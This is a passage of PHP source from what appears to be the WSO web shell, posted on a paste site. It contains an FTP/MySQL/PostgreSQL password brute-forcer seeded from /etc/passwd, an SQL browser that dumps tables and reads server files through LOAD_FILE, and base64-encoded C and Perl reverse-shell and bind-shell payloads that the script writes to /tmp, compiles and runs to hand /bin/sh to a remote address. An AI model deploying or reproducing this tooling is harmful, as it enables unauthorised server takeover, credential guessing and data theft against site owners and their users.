  1984.  
  1985. echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  1986.  
  1987. if( $_POST['proto'] == 'ftp' ) {
  1988.  
  1989. function bruteForce($ip,$port,$login,$pass) {
  1990.  
  1991. $fp = @ftp_connect($ip, $port?$port:21);
  1992.  
  1993. if(!$fp) return false;
  1994.  
  1995. $res = @ftp_login($fp, $login, $pass);
  1996.  
  1997. @ftp_close($fp);
  1998.  
  1999. return $res;
  2000.  
  2001. }
  2002.  
  2003. } elseif( $_POST['proto'] == 'mysql' ) {
  2004.  
  2005. function bruteForce($ip,$port,$login,$pass) {
  2006.  
  2007. $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
  2008.  
  2009. @mysql_close($res);
  2010.  
  2011. return $res;
  2012.  
  2013. }
  2014.  
  2015. } elseif( $_POST['proto'] == 'pgsql' ) {
  2016.  
  2017. function bruteForce($ip,$port,$login,$pass) {
  2018.  
  2019. $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
  2020.  
  2021. $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass);
  2022.  
  2023. @pg_close($res);
  2024.  
  2025. return $res;
  2026.  
  2027. }
  2028.  
  2029. }
  2030.  
  2031. $success = 0;
  2032.  
  2033. $attempts = 0;
  2034.  
  2035. $server = explode(":", $_POST['server']);
  2036.  
  2037. if($_POST['type'] == 1) {
  2038.  
  2039. $temp = @file('/etc/passwd');
  2040.  
  2041. if( is_array($temp) )
  2042.  
  2043. foreach($temp as $line) {
  2044.  
  2045. $line = explode(":", $line);
  2046.  
  2047. ++$attempts;
  2048.  
  2049. if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  2050.  
  2051. $success++;
  2052.  
  2053. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  2054.  
  2055. }
  2056.  
  2057. if(@$_POST['reverse']) {
  2058.  
  2059. $tmp = "";
  2060.  
  2061. for($i=strlen($line[0])-1; $i>=0; --$i)
  2062.  
  2063. $tmp .= $line[0][$i];
  2064.  
  2065. ++$attempts;
  2066.  
  2067. if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  2068.  
  2069. $success++;
  2070.  
  2071. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  2072.  
  2073. }
  2074.  
  2075. }
  2076.  
  2077. }
  2078.  
  2079. } elseif($_POST['type'] == 2) {
  2080.  
  2081. $temp = @file($_POST['dict']);
  2082.  
  2083. if( is_array($temp) )
  2084.  
  2085. foreach($temp as $line) {
  2086.  
  2087. $line = trim($line);
  2088.  
  2089. ++$attempts;
  2090.  
  2091. if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  2092.  
  2093. $success++;
  2094.  
  2095. echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  2096.  
  2097. }
  2098.  
  2099. }
  2100.  
  2101. }
  2102.  
  2103. echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  2104.  
  2105. }
  2106.  
  2107. echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  2108.  
  2109. .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
  2110.  
  2111. .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  2112.  
  2113. .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  2114.  
  2115. .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  2116.  
  2117. .'<span>Server:port</span></td>'
  2118.  
  2119. .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  2120.  
  2121. .'<tr><td><span>Brute type</span></td>'
  2122.  
  2123. .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
  2124.  
  2125. .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
  2126.  
  2127. .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
  2128.  
  2129. .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  2130.  
  2131. .'<td><input type=text name=login value="komsen"></td></tr>'
  2132.  
  2133. .'<tr><td><span>Dictionary</span></td>'
  2134.  
  2135. .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  2136.  
  2137. .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
  2138.  
  2139. echo '</div><br>';
  2140.  
  2141. printFooter();
  2142.  
  2143. }
  2144.  
  2145.  
  2146. function actionSql() {
  2147.  
  2148. class DbClass {
  2149.  
  2150. var $type;
  2151.  
  2152. var $link;
  2153.  
  2154. var $res;
  2155.  
  2156. function DbClass($type) {
  2157.  
  2158. $this->type = $type;
  2159.  
  2160. }
  2161.  
  2162. function connect($host, $user, $pass, $dbname){
  2163.  
  2164. switch($this->type) {
  2165.  
  2166. case 'mysql':
  2167.  
  2168. if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  2169.  
  2170. break;
  2171.  
  2172. case 'pgsql':
  2173.  
  2174. $host = explode(':', $host);
  2175.  
  2176. if(!$host[1]) $host[1]=5432;
  2177.  
  2178. if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  2179.  
  2180. break;
  2181.  
  2182. }
  2183.  
  2184. return false;
  2185.  
  2186. }
  2187.  
  2188. function selectdb($db) {
  2189.  
  2190. switch($this->type) {
  2191.  
  2192. case 'mysql':
  2193.  
  2194. if (@mysql_select_db($db))return true;
  2195.  
  2196. break;
  2197.  
  2198. }
  2199.  
  2200. return false;
  2201.  
  2202. }
  2203.  
  2204. function query($str) {
  2205.  
  2206. switch($this->type) {
  2207.  
  2208. case 'mysql':
  2209.  
  2210. return $this->res = @mysql_query($str);
  2211.  
  2212. break;
  2213.  
  2214. case 'pgsql':
  2215.  
  2216. return $this->res = @pg_query($this->link,$str);
  2217.  
  2218. break;
  2219.  
  2220. }
  2221.  
  2222. return false;
  2223.  
  2224. }
  2225.  
  2226. function fetch() {
  2227.  
  2228. $res = func_num_args()?func_get_arg(0):$this->res;
  2229.  
  2230. switch($this->type) {
  2231.  
  2232. case 'mysql':
  2233.  
  2234. return @mysql_fetch_assoc($res);
  2235.  
  2236. break;
  2237.  
  2238. case 'pgsql':
  2239.  
  2240. return @pg_fetch_assoc($res);
  2241.  
  2242. break;
  2243.  
  2244. }
  2245.  
  2246. return false;
  2247.  
  2248. }
  2249.  
  2250. function listDbs() {
  2251.  
  2252. switch($this->type) {
  2253.  
  2254. case 'mysql':
  2255.  
  2256. return $this->res = @mysql_list_dbs($this->link);
  2257.  
  2258. break;
  2259.  
  2260. case 'pgsql':
  2261.  
  2262. return $this->res = $this->query("SELECT datname FROM pg_database");
  2263.  
  2264. break;
  2265.  
  2266. }
  2267.  
  2268. return false;
  2269.  
  2270. }
  2271.  
  2272. function listTables() {
  2273.  
  2274. switch($this->type) {
  2275.  
  2276. case 'mysql':
  2277.  
  2278. return $this->res = $this->query('SHOW TABLES');
  2279.  
  2280. break;
  2281.  
  2282. case 'pgsql':
  2283.  
  2284. return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
  2285.  
  2286. break;
  2287.  
  2288. }
  2289.  
  2290. return false;
  2291.  
  2292. }
  2293.  
  2294. function error() {
  2295.  
  2296. switch($this->type) {
  2297.  
  2298. case 'mysql':
  2299.  
  2300. return @mysql_error($this->link);
  2301.  
  2302. break;
  2303.  
  2304. case 'pgsql':
  2305.  
  2306. return @pg_last_error($this->link);
  2307.  
  2308. break;
  2309.  
  2310. }
  2311.  
  2312. return false;
  2313.  
  2314. }
  2315.  
  2316. function setCharset($str) {
  2317.  
  2318. switch($this->type) {
  2319.  
  2320. case 'mysql':
  2321.  
  2322. if(function_exists('mysql_set_charset'))
  2323.  
  2324. return @mysql_set_charset($str, $this->link);
  2325.  
  2326. else
  2327.  
  2328. $this->query('SET CHARSET '.$str);
  2329.  
  2330. break;
  2331.  
  2332. case 'mysql':
  2333.  
  2334. return @pg_set_client_encoding($this->link, $str);
  2335.  
  2336. break;
  2337.  
  2338. }
  2339.  
  2340. return false;
  2341.  
  2342. }
  2343.  
  2344. function dump($table) {
  2345.  
  2346. switch($this->type) {
  2347.  
  2348. case 'mysql':
  2349.  
  2350. $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  2351.  
  2352. $create = mysql_fetch_array($res);
  2353.  
  2354. echo $create[1].";\n\n";
  2355.  
  2356. $this->query('SELECT * FROM `'.$table.'`');
  2357.  
  2358. while($item = $this->fetch()) {
  2359.  
  2360. $columns = array();
  2361.  
  2362. foreach($item as $k=>$v) {
  2363.  
  2364. $item[$k] = "'".@mysql_real_escape_string($v)."'";
  2365.  
  2366. $columns[] = "`".$k."`";
  2367.  
  2368. }
  2369.  
  2370. echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  2371.  
  2372. }
  2373.  
  2374. break;
  2375.  
  2376. case 'pgsql':
  2377.  
  2378. $this->query('SELECT * FROM '.$table);
  2379.  
  2380. while($item = $this->fetch()) {
  2381.  
  2382. $columns = array();
  2383.  
  2384. foreach($item as $k=>$v) {
  2385.  
  2386. $item[$k] = "'".addslashes($v)."'";
  2387.  
  2388. $columns[] = $k;
  2389.  
  2390. }
  2391.  
  2392. echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  2393.  
  2394. }
  2395.  
  2396. break;
  2397.  
  2398. }
  2399.  
  2400. return false;
  2401.  
  2402. }
  2403.  
  2404. };
  2405.  
  2406. $db = new DbClass($_POST['type']);
  2407.  
  2408. if(@$_POST['p2']=='download') {
  2409.  
  2410. ob_start("ob_gzhandler", 4096);
  2411.  
  2412. $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  2413.  
  2414. $db->selectdb($_POST['sql_base']);
  2415.  
  2416. header("Content-Disposition: attachment; filename=dump.sql");
  2417.  
  2418. header("Content-Type: text/plain");
  2419.  
  2420. foreach($_POST['tbl'] as $v)
  2421.  
  2422. $db->dump($v);
  2423.  
  2424. exit;
  2425.  
  2426. }
  2427.  
  2428. printHeader();
  2429.  
  2430. ?>
  2431.  
  2432. <h1>Sql browser</h1><div class=content>
  2433.  
  2434. <form name="sf" method="post">
  2435.  
  2436. <table cellpadding="2" cellspacing="0">
  2437.  
  2438. <tr>
  2439.  
  2440. <td>Type</td>
  2441.  
  2442. <td>Host</td>
  2443.  
  2444. <td>Login</td>
  2445.  
  2446. <td>Password</td>
  2447.  
  2448. <td>Database</td>
  2449.  
  2450. <td></td>
  2451.  
  2452. </tr>
  2453.  
  2454. <tr>
  2455.  
  2456. <input type=hidden name=a value=Sql>
  2457.  
  2458. <input type=hidden name=p1 value='query'>
  2459.  
  2460. <input type=hidden name=p2>
  2461.  
  2462. <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd']);?>'>
  2463.  
  2464. <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
  2465.  
  2466. <td>
  2467.  
  2468. <select name='type'>
  2469.  
  2470. <option value="mysql" <?php if(@$_POST['type']=='mysql')echo 'selected';?>>MySql</option>
  2471.  
  2472. <option value="pgsql" <?php if(@$_POST['type']=='pgsql')echo 'selected';?>>PostgreSql</option>
  2473.  
  2474. </select></td>
  2475.  
  2476. <td><input type=text name=sql_host value='<?=(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host']));?>'></td>
  2477.  
  2478. <td><input type=text name=sql_login value='<?=(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login']));?>'></td>
  2479.  
  2480. <td><input type=text name=sql_pass value='<?=(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass']));?>'></td>
  2481.  
  2482. <td>
  2483.  
  2484. <?php
  2485.  
  2486. $tmp = "<input type=text name=sql_base value=''>";
  2487.  
  2488. if(isset($_POST['sql_host'])){
  2489.  
  2490. if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  2491.  
  2492. switch($_POST['charset']) {
  2493.  
  2494. case "Windows-1251": $db->setCharset('cp1251'); break;
  2495.  
  2496. case "UTF-8": $db->setCharset('utf8'); break;
  2497.  
  2498. case "KOI8-R": $db->setCharset('koi8r'); break;
  2499.  
  2500. case "KOI8-U": $db->setCharset('koi8u'); break;
  2501.  
  2502. case "cp866": $db->setCharset('cp866'); break;
  2503.  
  2504. }
  2505.  
  2506. $db->listDbs();
  2507.  
  2508. echo "<select name=sql_base><option value=''></option>";
  2509.  
  2510. while($item = $db->fetch()) {
  2511.  
  2512. list($key, $value) = each($item);
  2513.  
  2514. echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  2515.  
  2516. }
  2517.  
  2518. echo '</select>';
  2519.  
  2520. }
  2521.  
  2522. else echo $tmp;
  2523.  
  2524. }else
  2525.  
  2526. echo $tmp;
  2527.  
  2528. ?></td>
  2529.  
  2530. <td><input type=submit value=">>"></td>
  2531.  
  2532. </tr>
  2533.  
  2534. </table>
  2535.  
  2536. <script>
  2537.  
  2538. function st(t,l) {
  2539.  
  2540. document.sf.p1.value = 'select';
  2541.  
  2542. document.sf.p2.value = t;
  2543.  
  2544. if(l!=null)document.sf.p3.value = l;
  2545.  
  2546. document.sf.submit();
  2547.  
  2548. }
  2549.  
  2550. function is() {
  2551.  
  2552. for(i=0;i<document.sf.elements['tbl[]'].length;++i)
  2553.  
  2554. document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
  2555.  
  2556. }
  2557.  
  2558. </script>
  2559.  
  2560. <?php
  2561.  
  2562. if(isset($db) && $db->link){
  2563.  
  2564. echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  2565.  
  2566. if(!empty($_POST['sql_base'])){
  2567.  
  2568. $db->selectdb($_POST['sql_base']);
  2569.  
  2570. echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
  2571.  
  2572. $tbls_res = $db->listTables();
  2573.  
  2574. while($item = $db->fetch($tbls_res)) {
  2575.  
  2576. list($key, $value) = each($item);
  2577.  
  2578. $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  2579.  
  2580. $value = htmlspecialchars($value);
  2581.  
  2582. echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
  2583.  
  2584. }
  2585.  
  2586. echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
  2587.  
  2588. if(@$_POST['p1'] == 'select') {
  2589.  
  2590. $_POST['p1'] = 'query';
  2591.  
  2592. $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
  2593.  
  2594. $num = $db->fetch();
  2595.  
  2596. $num = $num['n'];
  2597.  
  2598. echo "<span>".$_POST['p2']."</span> ($num) ";
  2599.  
  2600. for($i=0;$i<($num/30);$i++)
  2601.  
  2602. if($i != (int)$_POST['p3'])
  2603.  
  2604. echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
  2605.  
  2606. else
  2607.  
  2608. echo ($i+1)," ";
  2609.  
  2610. if($_POST['type']=='pgsql')
  2611.  
  2612. $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  2613.  
  2614. else
  2615.  
  2616. $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  2617.  
  2618. echo "<br><br>";
  2619.  
  2620. }
  2621.  
  2622. if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
  2623.  
  2624. $db->query(@$_POST['p3']);
  2625.  
  2626. if($db->res !== false) {
  2627.  
  2628. $title = false;
  2629.  
  2630. echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
  2631.  
  2632. $line = 1;
  2633.  
  2634. while($item = $db->fetch()) {
  2635.  
  2636. if(!$title) {
  2637.  
  2638. echo '<tr>';
  2639.  
  2640. foreach($item as $key => $value)
  2641.  
  2642. echo '<th>'.$key.'</th>';
  2643.  
  2644. reset($item);
  2645.  
  2646. $title=true;
  2647.  
  2648. echo '</tr><tr>';
  2649.  
  2650. $line = 2;
  2651.  
  2652. }
  2653.  
  2654. echo '<tr class="l'.$line.'">';
  2655.  
  2656. $line = $line==1?2:1;
  2657.  
  2658. foreach($item as $key => $value) {
  2659.  
  2660. if($value == null)
  2661.  
  2662. echo '<td><i>null</i></td>';
  2663.  
  2664. else
  2665.  
  2666. echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  2667.  
  2668. }
  2669.  
  2670. echo '</tr>';
  2671.  
  2672. }
  2673.  
  2674. echo '</table>';
  2675.  
  2676. } else {
  2677.  
  2678. echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  2679.  
  2680. }
  2681.  
  2682. }
  2683.  
  2684. echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
  2685.  
  2686. echo "</td></tr>";
  2687.  
  2688. }
  2689.  
  2690. echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  2691.  
  2692. if(@$_POST['p1'] == 'loadfile') {
  2693.  
  2694. $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
  2695.  
  2696. $file = $db->fetch();
  2697.  
  2698. echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  2699.  
  2700. }
  2701.  
  2702. }
  2703.  
  2704. echo '</div>';
  2705.  
  2706. printFooter();
  2707.  
  2708. }
  2709.  
  2710. function actionNetwork() {
  2711.  
  2712. printHeader();
  2713.  
  2714. $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
  2715.  
  2716. $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  2717.  
  2718. $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
  2719.  
  2720. $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  2721.  
  2722. ?>
  2723.  
  2724. <h1>Network tools</h1><div class=content>
  2725.  
  2726. <form name='nfp' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
  2727.  
  2728. <span>Bind port to /bin/sh</span><br/>
  2729.  
  2730. Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass' value='wso'> Using: <select name="using"><option value='bpc'>C</option><option value='bpp'>Perl</option></select> <input type=submit value=">>">
  2731.  
  2732. </form>
  2733.  
  2734. <form name='nfp' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
  2735.  
  2736. <span>Back-connect to</span><br/>
  2737.  
  2738. Server: <input type='text' name='server' value='<?=$_SERVER['REMOTE_ADDR']?>'> Port: <input type='text' name='port' value='31337'> Using: <select name="using"><option value='bcc'>C</option><option value='bcp'>Perl</option></select> <input type=submit value=">>">
  2739.  
  2740. </form><br>
  2741.  
  2742. <?php
  2743.  
  2744. if(isset($_POST['p1'])) {
  2745.  
  2746. function cf($f,$t) {
  2747.  
  2748. $w=@fopen($f,"w") or @function_exists('file_put_contents');
  2749.  
  2750. if($w) {
  2751.  
  2752. @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
  2753.  
  2754. @fclose($w);
  2755.  
  2756. }
  2757.  
  2758. }
  2759.  
  2760. if($_POST['p1'] == 'bpc') {
  2761.  
  2762. cf("/tmp/bp.c",$bind_port_c);
  2763.  
  2764. $out = ex("gcc -o /tmp/bp /tmp/bp.c");
  2765.  
  2766. @unlink("/tmp/bp.c");
  2767.  
  2768. $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
  2769.  
  2770. echo "<pre class=ml1>$out\n".ex("ps aux | grep bp")."</pre>";
  2771.  
  2772. }
  2773.  
  2774. if($_POST['p1'] == 'bpp') {
  2775.  
  2776. cf("/tmp/bp.pl",$bind_port_p);
  2777.  
  2778. $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
  2779.  
  2780. echo "<pre class=ml1>$out\n".ex("ps aux | grep bp.pl")."</pre>";
  2781.  
  2782. }
  2783.  
  2784. if($_POST['p1'] == 'bcc') {
  2785.  
  2786. cf("/tmp/bc.c",$back_connect_c);
  2787.  
  2788. $out = ex("gcc -o /tmp/bc /tmp/bc.c");
  2789.  
  2790. @unlink("/tmp/bc.c");
  2791.  
  2792. $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
  2793.  
  2794. echo "<pre class=ml1>$out\n".ex("ps aux | grep bc")."</pre>";
  2795.  
  2796. }
  2797.  
  2798. if($_POST['p1'] == 'bcp') {
  2799.  
  2800. cf("/tmp/bc.pl",$back_connect_p);
  2801.  
  2802. $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
  2803.  
  2804. echo "<pre class=ml1>$out\n".ex("ps aux | grep bc.pl")."</pre>";
  2805.  
  2806. }
  2807.  
  2808. }
  2809.  
  2810. echo '</div>';
  2811.  
  2812. printFooter();
  2813.  
  2814. }
  2815.  
  2816. if( empty($_POST['a']) )
  2817.  
  2818. if(isset($default_action) && function_exists('action' . $default_action))
  2819.  
  2820. $_POST['a'] = $default_action;
  2821.  
  2822. else
  2823.  
  2824. $_POST['a'] = 'SecInfo';
  2825.  
  2826. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  2827.  
  2828. call_user_func('action' . $_POST['a']);
Add Comment
Please, Sign In to add comment